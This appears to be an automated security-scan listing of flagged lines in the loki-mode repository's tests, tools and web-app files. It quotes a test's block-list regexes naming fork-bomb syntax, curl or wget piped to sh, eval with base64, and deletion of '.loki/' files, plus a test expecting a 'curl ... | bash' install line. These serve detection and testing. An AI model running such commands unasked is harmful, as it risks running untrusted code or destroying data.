    "eval $": rep("eval $"), "fork heads": rep(":(){ |"), "rm .loki/": rep("rm .loki/"), "digits": rep("1"), "dashes": `x ${rep("-")}`,
  • Dangerous shell operationline 203
    /rm [\s\S]*\.loki\/(?:council\/|config\.yaml|logs\/bash-audit|session\.lock)/, /> \.loki\/(?:council\/|config\.yaml)/, /:\(\) *\{[\s\S]*\|[\s\S]*&/];
  • Dangerous shell operationline 204
    const parts = ["curl", "wget", "|", "sh", "s", "h", "eval", "base64", "$(", "$", "(", "rm ", ".loki/council/", ".loki/config.yaml", "> ",

tests/min/hygiene.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/issue-context.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 58
    c("owner", "OWNER", "CTX_OWNER_21 keep the change to calc.ts only.", "2026-10-30T15:00:00Z"), ]}))' ;;     *) echo '{"number": 7, "title": "add a multiply(a, b) function to calc.ts", "body": "calc.ts needs multiply(a, b).", "labels": [{"nam
  • Network accessline 59
    ]}))' ;;     *) echo '{"number": 7, "title": "add a multiply(a, b) function to calc.ts", "body": "calc.ts needs multiply(a, b).", "labels": [{"name": "enhancement"}, {"name": "area:calc"}], "author": {"login": "owner"}, "createdAt": "2026-1
  • Network accessline 60
    *) echo '{"number": 7, "title": "add a multiply(a, b) function to calc.ts", "body": "calc.ts needs multiply(a, b).", "labels": [{"name": "enhancement"}, {"name": "area:calc"}], "author": {"login": "owner"}, "createdAt": "2026-10-29T00:00:00
  • Network accessline 104
    const comments = Array.from({ length: 40 }, (_, k) => ({ author: { login: "m" + k }, authorAssociation: "COLLABORATOR", isMinimized: false, createdAt: `2026-10-01T00:${String(k).padStart(2, "0")}:00Z`, body: `C${k}_ ` + "x".repeat(1000) }))
  • Network accessline 105
    const exec = (cmd, args) => cmd === "bash"   ? JSON.stringify({ provider: "github", number: 9, title: "t", body: "b", labels: [], author: "o", url: "https://github.com/a/b/issues/9", created_at: "", repo: "a/b" })   : JSON.stringify({ state
  • Network accessline 106
    ? JSON.stringify({ provider: "github", number: 9, title: "t", body: "b", labels: [], author: "o", url: "https://github.com/a/b/issues/9", created_at: "", repo: "a/b" })
  • Network accessline 127
    { author: { accountId: "acc-pm", displayName: "Pat PM" }, body: adf("<!-- loki-writeback --> JIRA_LOKI_34 run done"), created: "2026-10-05" },   ] } } }; const linear = { data: { issue: { identifier: "ENG-2", title: "L", description: "LD", 
  • Network accessline 128
    ] } } }; const linear = { data: { issue: { identifier: "ENG-2", title: "L", description: "LD", url: "https://linear.app/x/issue/ENG-2", labels: { nodes: [{ name: "bug" }, { name: "p1" }] },   comments: { nodes: [
  • Network accessline 129
    const linear = { data: { issue: { identifier: "ENG-2", title: "L", description: "LD", url: "https://linear.app/x/issue/ENG-2", labels: { nodes: [{ name: "bug" }, { name: "p1" }] },
  • Network accessline 134
    [Credential-related source omitted]
  • Network accessline 135
    [Credential-related source omitted]
  • Network accessline 136
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 160
    [Credential-related source omitted]

tests/min/learn-from-runs.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 86
    [Credential-related source omitted]
  • Dangerous shell operationline 99
    print(eval(sys.argv[2]))' "$LESSONS" "$1" 2>/dev/null

tests/min/lib.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 25
    */loki-min.*) [ -d "$T" ] && [ ! -L "$T" ] && rm -rf -- "$T" ;;

tests/min/newcomer-path.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Network accessline 157
    run_goal() { # run_goal <repo> <PATH> -> RC, OUT     OUT="$(cd "$1" && env -u LOKI_ALLOW_AGENT_GITHUB_TOKEN -u LOKI_MODEL_OVERRIDE -u LOKI_RECEIPT_SIGNING_KEY -u LOKI_E10_INVOKER ANTHROPIC_BASE_URL=http://127.0.0.1:9 \
  • Network accessline 158
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 214
    [Credential-related source omitted]
  • Access to secretsline 232
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Access to secretsline 245
    [Credential-related source omitted]
  • Access to secretsline 273
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 320
    out="$(cd "$REPO" && "${l009_env[@]}" PATH="$E2E/bin:$NOBUN" ${TO[@]+"${TO[@]}"} bash "$ROOT/bin/loki" "fix the login bug" </dev/null 2>&1)"; rc=$?     [ "$rc" -eq 2 ] && ok "L009 no bun: exits 2" || bad "L009 no bun: exited $rc"     has "L
  • Network accessline 321
    [ "$rc" -eq 2 ] && ok "L009 no bun: exits 2" || bad "L009 no bun: exited $rc"     has "L009 no bun: prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash"     no_legacy "$REPO" "no bun"
  • Dangerous shell operationline 322
    has "L009 no bun: prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash"
  • Network accessline 322
    has "L009 no bun: prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash"
  • Network accessline 327
    out="$(cd "$T/l009-prd" && "${l009_env[@]}" PATH="$E2E/bin:$NOBUN" ${TO[@]+"${TO[@]}"} bash "$ROOT/bin/loki" verify e10-20260101T000000Z-abcd </dev/null 2>&1)"; rc=$?     [ "$rc" -eq 2 ] && ok "L009 no bun: verify <run-id> exits 2" || bad "
  • Network accessline 328
    [ "$rc" -eq 2 ] && ok "L009 no bun: verify <run-id> exits 2" || bad "L009 no bun: verify <run-id> exited $rc"     has "L009 no bun: verify <run-id> prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash" fi
  • Dangerous shell operationline 329
    has "L009 no bun: verify <run-id> prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash"
  • Network accessline 329
    has "L009 no bun: verify <run-id> prints the install command" "$out" "curl -fsSL https://bun.sh/install | bash"
  • Network accessline 422
    fixture_repo big-sdk bigprd "$REPO/big.md" 98900 out="$(cd "$REPO" && env -u LOKI_ALLOW_AGENT_GITHUB_TOKEN -u LOKI_MODEL_OVERRIDE -u LOKI_RECEIPT_SIGNING_KEY -u LOKI_E10_INVOKER -u LOKI_PROVIDER -u LOKI_ENGINE ANTHROPIC_BASE_URL=http://127.
  • Network accessline 423
    bigprd "$REPO/big.md" 98900 out="$(cd "$REPO" && env -u LOKI_ALLOW_AGENT_GITHUB_TOKEN -u LOKI_MODEL_OVERRIDE -u LOKI_RECEIPT_SIGNING_KEY -u LOKI_E10_INVOKER -u LOKI_PROVIDER -u LOKI_ENGINE ANTHROPIC_BASE_URL=http://127.0.0.1:9 \     PATH="$
  • Network accessline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]

tests/min/one-line-goal.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 71
    mkrepo ghno https://github.com/example/nothing.git
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]

tests/min/outcome-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/pack-contents.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/providers-supported.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Dangerous shell operationline 131
    ns = {}; exec(compile(ast.Module(body=keep, type_ignores=[]), "web-app/server.py", "exec"), ns)
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 197
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 227
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]

tests/min/receipt-roundtrip.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/redaction.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/release-notes.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/run-safety.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 108
    rm -rf "$H/.loki/runs"; git -C "$H" checkout -q feature 2>/dev/null
  • Dangerous shell operationline 195
    rm -f "$M/.loki/CONTINUITY.md" "$M/.loki/STATUS.txt" "$M/.loki/autonomy-state.json" "$M/.loki/dashboard/index.html"
  • Dangerous shell operationline 232
    BASE_U="$(git -C "$U" rev-parse HEAD)"; git -C "$U" checkout -q -b loki/e10-wip; rm "$U/.loki/STATUS.txt"; printf 'b\n' > "$U/app.ts"

tests/min/scope-and-fix.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 145
    [Credential-related source omitted]
  • Dangerous shell operationline 164
    print(eval(sys.argv[2]))' "$RUNDIR/events.jsonl" "$1" 2>/dev/null

tests/min/stacks.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 48
    for c in bash sh env git python3 python bun node npm npx sed grep awk cat mkdir rm cp mv ls head tail tr sort uniq date \
  • Access to secretsline 81
    [Credential-related source omitted]
  • Dangerous shell operationline 104
    ( cd "$REPO" && eval "$DIAG_RERUN" 2>&1 | tail -90 | sed 's/^/    | rerun | /'; echo "    | rerun exit: ${PIPESTATUS[0]}" )
  • Network accessline 126
    network_for() {     local url="https://repo.maven.apache.org/maven2/"
  • Network accessline 127
    local url="https://repo.maven.apache.org/maven2/"     [ "$1" = dotnet ] && url="https://api.nuget.org/v3/index.json"     command -v curl >/dev/null 2>&1 && curl -fsS -o /dev/null --max-time 8 "$url" 2>/dev/null
  • Network accessline 128
    [ "$1" = dotnet ] && url="https://api.nuget.org/v3/index.json"     command -v curl >/dev/null 2>&1 && curl -fsS -o /dev/null --max-time 8 "$url" 2>/dev/null }
  • Network accessline 129
    command -v curl >/dev/null 2>&1 && curl -fsS -o /dev/null --max-time 8 "$url" 2>/dev/null
  • Dangerous shell operationline 273
    local got; got="$(printf '%s' "$PARSE" | python3 -I -c 'import json,sys; d=json.loads(sys.stdin.read()); print(json.dumps(eval(sys.argv[1]), sort_keys=True))' "$2" 2>/dev/null)"

tests/min/syntax.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/triage-router.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 67
    git -C "$REPO" add calc.ts calc.test.ts bunfig.toml     git -C "$REPO" commit -q -m base     git -C "$REPO" remote add origin https://github.com/example/calc.git
  • Network accessline 68
    git -C "$REPO" commit -q -m base     git -C "$REPO" remote add origin https://github.com/example/calc.git }
  • Network accessline 69
    git -C "$REPO" remote add origin https://github.com/example/calc.git
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Network accessline 165
    trap 'kill "$JPID" 2>/dev/null; _min_cleanup' EXIT for _ in $(seq 1 50); do [ -s "$T/jira.port" ] && break; python3 -I -c 'import time; time.sleep(0.1)'; done export JIRA_BASE_URL="http://127.0.0.1:$(cat "$T/jira.port" 2>/dev/null)" JIRA_EM
  • Network accessline 166
    [Credential-related source omitted]
  • Network accessline 167
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Network accessline 207
    for (const i of items) { const t = triageItem({ title: i.title, body: i.body, labels: i.labels, split: false }); console.log(i.key + " " + t.class + " | " + t.reason); }' 2>&1)" printf '%s\n' "$LIN" | sed 's/^/    linear: /' has "linear: li
  • Network accessline 208
    printf '%s\n' "$LIN" | sed 's/^/    linear: /' has "linear: lists one team's open items" "$LIN" 'request https://api.linear.app/graphql auth=lin_fixture filter={"team":{"key":{"eq":"ENG"}},"state":{"type":{"nin":["completed","canceled"]}}}'
  • Network accessline 209
    has "linear: lists one team's open items" "$LIN" 'request https://api.linear.app/graphql auth=lin_fixture filter={"team":{"key":{"eq":"ENG"}},"state":{"type":{"nin":["completed","canceled"]}}}'
  • Access to secretsline 213
    [Credential-related source omitted]
  • Access to secretsline 214
    [Credential-related source omitted]

tests/min/typecheck.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/version-consistency.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/test-plugin-json-current.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 109
    trap 'rm -rf "$HT"' EXIT

tests/test-server-json-current.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Possible obfuscationline 107
    try: check("Cursor",json.loads(base64.b64decode(urllib.parse.unquote(m.group(1)))))

tools/audit-docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Network accessline 153
    # # A loose cue was tried first and produced three false findings: an IP address # (127.0.0.1 in "http://127.0.0.1:57374") and two historical mentions on lines
  • Network accessline 154
    # A loose cue was tried first and produced three false findings: an IP address # (127.0.0.1 in "http://127.0.0.1:57374") and two historical mentions on lines # beginning with "#" inside fenced shell blocks. Anchoring on the claim phrase
  • Network accessline 155
    # (127.0.0.1 in "http://127.0.0.1:57374") and two historical mentions on lines

tools/baseline-pin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/bench_cross_project_lift.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/bench_memory_retrieval.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/calibration-audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/ci-gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/cost-attribute.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/cost-forecast.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/cost-guard.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/cost-history.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/cost-per-outcome.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/estimate-run.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 147
    [Credential-related source omitted]

tools/gate-badge.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/gate-explain.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/gate-init.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/gate-log.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/gate-report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/gate-status.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/gate-trend.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/hybrid_search.py

  • Executable scriptline 1
    #!/opt/homebrew/bin/python3.12
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]

tools/index-codebase.py

  • Executable scriptline 1
    #!/opt/homebrew/bin/python3.12
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]

tools/model-advisor.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/normalize-package-permissions.mjs

  • Executable scriptline 1
    Executable file

tools/outcome-canary-evaluate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/outcome-canary-observe.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/outcome-canary-receipt-verify.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/outcome-canary-receipt.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/outcome-canary.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/outcome-router.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/policy-diff.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/policy-load.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/preflight.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 224
    # continuation command WITHOUT acting. loki resume would rm the PAUSE file.
  • Access to secretsline 274
    [Credential-related source omitted]

tools/probe-model-catalog.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 40
    SOURCES: dict[str, list[str]] = {     "claude": [         "https://docs.claude.com/en/about-claude/models/overview",
  • Network accessline 41
    "claude": [         "https://docs.claude.com/en/about-claude/models/overview",     ],
  • Network accessline 42
    "https://docs.claude.com/en/about-claude/models/overview",
  • Network accessline 46
    USER_AGENT = (     "loki-mode-model-probe/1.0 "     "(+https://github.com/asklokesh/loki-mode)"
  • Network accessline 47
    "loki-mode-model-probe/1.0 "     "(+https://github.com/asklokesh/loki-mode)" )
  • Network accessline 48
    "(+https://github.com/asklokesh/loki-mode)"
  • Network accessline 52
    def fetch(url: str, timeout: int = 30) -> str:
  • Network accessline 53
    req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
  • Network accessline 54
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 85
    for url in SOURCES.get(provider, []):         try:             body = fetch(url)
  • Network accessline 86
    try:             body = fetch(url)         except urllib.error.URLError as exc:
  • Network accessline 87
    body = fetch(url)

tools/proof-passport.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-attest.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-bundle.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-diff.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-export.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-find.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-stats.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/receipt-verify-batch.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/regen-state-machine-refs.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/run-replay.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/token-guard.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/tool-index.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/verification-tax.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/verify-chain.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/verify-demo.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 73
    rm -rf "$SCRATCH"
  • Dangerous shell operationline 195
    rm -rf "$SCRATCH/.loki/proofs/good"

vendor/autonomi-verify/embed.js

  • Executable scriptline 1
    #!/usr/bin/env bun
  • Possible obfuscationline 3
    function D(j){let z=new Set;for(let A of[j.committed,j.unstaged,j.staged,j.untracked])for(let J of A){if(J==="")continue;if(/^\.loki\//.test(J))continue;z.add(J)}return z.size}function Z(j){let z=!1,A=0,J=!1,K="";if(!j.diff.is_git_repo)J=!0

web-app/Dockerfile

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 22
    RUN apt-get update && apt-get install -y --no-install-recommends      bash      curl      git      && rm -rf /var/lib/apt/lists/*
  • Network accessline 22
    RUN apt-get update && apt-get install -y --no-install-recommends \     bash \     curl \
  • Network accessline 23
    bash \     curl \     git \
  • Network accessline 24
    curl \
  • Dangerous shell operationline 26
    && rm -rf /var/lib/apt/lists/*
  • Network accessline 58
    HEALTHCHECK --interval=10s --timeout=5s --start-period=15s --retries=3 \     CMD curl -f http://localhost:57375/health || exit 1
  • Network accessline 59
    CMD curl -f http://localhost:57375/health || exit 1

web-app/auth.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 189
    async with httpx.AsyncClient(timeout=10.0) as client:
  • Network accessline 191
    token_resp = await client.post(             "https://github.com/login/oauth/access_token",
  • Network accessline 192
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 209
    user_resp = await client.get(             "https://api.github.com/user",
  • Network accessline 210
    "https://api.github.com/user",
  • Access to secretsline 211
    [Credential-related source omitted]
  • Network accessline 218
    email_resp = await client.get(             "https://api.github.com/user/emails",
  • Network accessline 219
    "https://api.github.com/user/emails",
  • Access to secretsline 220
    [Credential-related source omitted]
  • Network accessline 240
    async with httpx.AsyncClient(timeout=10.0) as client:
  • Network accessline 241
    token_resp = await client.post(             "https://oauth2.googleapis.com/token",             data={
  • Network accessline 242
    "https://oauth2.googleapis.com/token",
  • Access to secretsline 246
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 254
    [Credential-related source omitted]
  • Network accessline 259
    user_resp = await client.get(             "https://www.googleapis.com/oauth2/v2/userinfo",
  • Network accessline 260
    "https://www.googleapis.com/oauth2/v2/userinfo",
  • Access to secretsline 261
    [Credential-related source omitted]

web-app/crypto.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 28
    [Credential-related source omitted]

web-app/deploy/k8s/purple-lab/secret.yaml

  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]

web-app/dist/assets/AdminPage-0bmzFL_H.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 31
    */const Je=[["circle",{cx:"15",cy:"12",r:"3",key:"1afu0r"}],["rect",{width:"20",height:"14",x:"2",y:"5",rx:"7",key:"g7kal2"}]],Ye=L("toggle-right",Je);function R({children:s}){return e.jsxs("p",{className:"text-sm text-[#939084] py-4",child
  • Possible obfuscationline 32
    `),ke=new Blob([S],{type:"text/csv"}),ee=URL.createObjectURL(ke),H=document.createElement("a");H.href=ee,H.download=`audit-log-${new Date().toISOString().split("T")[0]}.csv`,H.click(),URL.revokeObjectURL(ee)},[B]),ve=x.useCallback(async()=>

web-app/dist/assets/Avatar-CCOnr1Br.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 11
    */const d=[["path",{d:"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2",key:"1yyitq"}],["circle",{cx:"9",cy:"7",r:"4",key:"nufk8"}],["line",{x1:"19",x2:"19",y1:"8",y2:"14",key:"1bvyxn"}],["line",{x1:"22",x2:"16",y1:"11",y2:"11",key:"1shjgl"}]],p=

web-app/dist/assets/Badge-OabKAhBk.js

  • Executable scriptline 1
    Executable file

web-app/dist/assets/Button-Pb6cYL9O.js

  • Possible obfuscationline 1
    import{r as p,j as t}from"./index-DOUc1fHo.js";const m={primary:"bg-[#553DE9] text-white hover:bg-[#4432c4] shadow-button rounded-btn",secondary:"border border-[#553DE9] text-[#553DE9] hover:bg-[#E8E4FD] bg-transparent rounded-btn",ghost:"t
  • Executable scriptline 1
    Executable file

web-app/dist/assets/CockpitPage-C42HXGgd.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 41
    */const mt=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"
  • Possible obfuscationline 42
    `);let r=null;for(const u of n){const o=u.trim();if(!o)continue;const m=o.match(/^#{1,3}\s+(.*)$/);if(m){r=m[1].trim();break}if(!o.startsWith("---")){r=o.length>200?`${o.slice(0,200)}...`:o;break}}const a=[];let c=!1;for(const u of n){const
  • Possible obfuscationline 44
    ${v.files.map(M=>`${M.action.padEnd(7)} ${M.path}  +${M.additions} -${M.deletions}`).join( `)}`)).catch(v=>b(v instanceof Error?v.message:"Preview failed")).finally(()=>o(null)))}return e.jsxs("section",{"aria-label":"Actions",className:"p-
  • Possible obfuscationline 45
    `)}`)).catch(v=>b(v instanceof Error?v.message:"Preview failed")).finally(()=>o(null)))}return e.jsxs("section",{"aria-label":"Actions",className:"p-4 sm:p-5",children:[e.jsx("h2",{className:"text-small uppercase tracking-wide text-muted-ac
  • Possible obfuscationline 46
    `)})})]})]})}const re={neutral:"bg-hover text-secondary dark:bg-dark-hover dark:text-dark-ink",running:"bg-primary/10 text-primary",warning:"bg-warning/10 text-ink dark:text-dark-ink",danger:"bg-danger/10 text-danger",success:"bg-success/10
  • Possible obfuscationline 47
    `)})]})}const ae=[{keys:"g then 1",action:"Go to progress",id:"region-progress"},{keys:"g then 2",action:"Go to changes",id:"region-changes"},{keys:"g then 3",action:"Go to evidence",id:"region-evidence"},{keys:"g then 4",action:"Go to acti

web-app/dist/assets/ComparePage-CzTHDUhY.js

  • Possible obfuscationline 1
    import{r as o,j as e}from"./index-DOUc1fHo.js";function f({value:l,prefix:t="",suffix:s=""}){const[u,n]=o.useState(0),c=o.useRef(0);return o.useEffect(()=>{const a=c.current,h=l-a;if(h===0)return;const i=600,d=performance.now();function r(b
  • Executable scriptline 1
    Executable file

web-app/dist/assets/ErrorBoundary-iEMh3HfQ.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 16
    */const d=[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]],f=o("square",d);function m({error:r}){const[t,s]=a.useState(!1);return r?e.jsxs("div",{className:"mt-3 text-left w-full max-w-sm mx-auto",children:[e.jsxs("button

web-app/dist/assets/EvidenceReceiptPanel-tsCWt07q.js

  • Possible obfuscationline 1
    [Credential-related source omitted]
  • Executable scriptline 1
    [Credential-related source omitted]
  • Access to secretsline 1
    [Credential-related source omitted]

web-app/dist/assets/GitHubIssuesPanel-Dynw9316.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 6
    */const U=[["path",{d:"M12.586 2.586A2 2 0 0 0 11.172 2H4a2 2 0 0 0-2 2v7.172a2 2 0 0 0 .586 1.414l8.704 8.704a2.426 2.426 0 0 0 3.42 0l6.58-6.58a2.426 2.426 0 0 0 0-3.42z",key:"vktsd0"}],["circle",{cx:"7.5",cy:"7.5",r:".5",fill:"currentCol
  • Possible obfuscationline 7
    `),a=[];for(let t=0;t<r.length;t++){const l=r[t];if(/^\s*[-*]\s/.test(l)){const c=l.replace(/^\s*[-*]\s/,"");a.push(e.jsx("li",{className:"ml-4 list-disc text-xs text-secondary leading-relaxed",children:M(c)},t));continue}if(l.trim()===""){

web-app/dist/assets/GitHubPRsPanel-cQ-fQo3W.js

  • Possible obfuscationline 1
    import{c as I,r as c,a as b,j as e,G as me,A as ue,S as Z,k as ee,m as pe,h as he,p as fe,X as te,M as be}from"./index-DOUc1fHo.js";import{B as y}from"./Button-Pb6cYL9O.js";import{C as ge}from"./chevron-left-L1ARkN2A.js";import{G as P}from"
  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 16
    */const Ce=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"M9.1 9a3 3 0 0 1 5.82 1c0
  • Possible obfuscationline 17
    `),x=(n=l[0])==null?void 0:n.match(/a\/(.+?) b\/(.+)/),g=x?x[2]:"unknown";let w=0,v=0;const C=[];let s=null,u=0,h=0;for(let k=1;k<l.length;k++){const m=l[k],N=m.match(/^@@\s+-(\d+)(?:,\d+)?\s+\+(\d+)(?:,\d+)?\s+@@(.*)/);if(N){s={header:m,li

web-app/dist/assets/HomePage-mHgVLI9j.js

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 11
    */const ft=[["path",{d:"M5.8 11.3 2 22l10.7-3.79",key:"gwxi1d"}],["path",{d:"M4 3h.01",key:"1vcuye"}],["path",{d:"M22 8h.01",key:"1mrtc2"}],["path",{d:"M15 2h.01",key:"1cjtqr"}],["path",{d:"M22 20h.01",key:"1mrys2"}],["path",{d:"m22 2-2.24.
  • Possible obfuscationline 12
    `).find(c=>c.trim().length>0)||null;return e.jsxs("div",{className:"min-h-screen bg-[#FAF9F6] relative",children:[e.jsx("div",{className:"pattern-nodes"}),e.jsx("div",{className:"max-w-[1920px] mx-auto px-6 py-6 relative z-10",children:i?e.

web-app/dist/assets/LoginPage-BCsBRGUT.js

  • Possible obfuscationline 1
